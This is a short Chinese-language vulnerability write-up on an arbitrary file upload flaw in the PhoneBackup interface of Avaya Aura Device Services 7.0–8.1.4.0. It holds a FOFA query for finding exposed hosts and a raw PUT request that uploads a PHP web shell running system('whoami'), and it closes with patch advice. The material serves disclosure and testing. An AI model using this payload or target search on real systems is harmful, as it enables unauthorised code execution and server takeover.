Avaya Aura Device Services 任意文件上传漏洞复现

0x01 产品简介

Avaya Aura Device Services是美国Avaya公司的一个应用软件。提供一个管理 Avaya 端点功能。

0x02 漏洞概述

Avaya Aura Device Services 系统PhoneBackup接口处存在任意文件上传漏洞，攻击者可绕过验证上传任意文件获取服务器权限。

0x03 影响范围

Avaya Aura Device Services  7.0-8.1.4.0版本

0x04 复现环境

FOFA：app="AVAYA-Aura-Utility-Server"

0x05 漏洞复现

PoC

PUT /PhoneBackup/123.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: AVAYA
Content-Length: 23<?php system('whoami');

PS：简单粗暴，直接put上传

验证

0x06 修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://support.avaya.com/。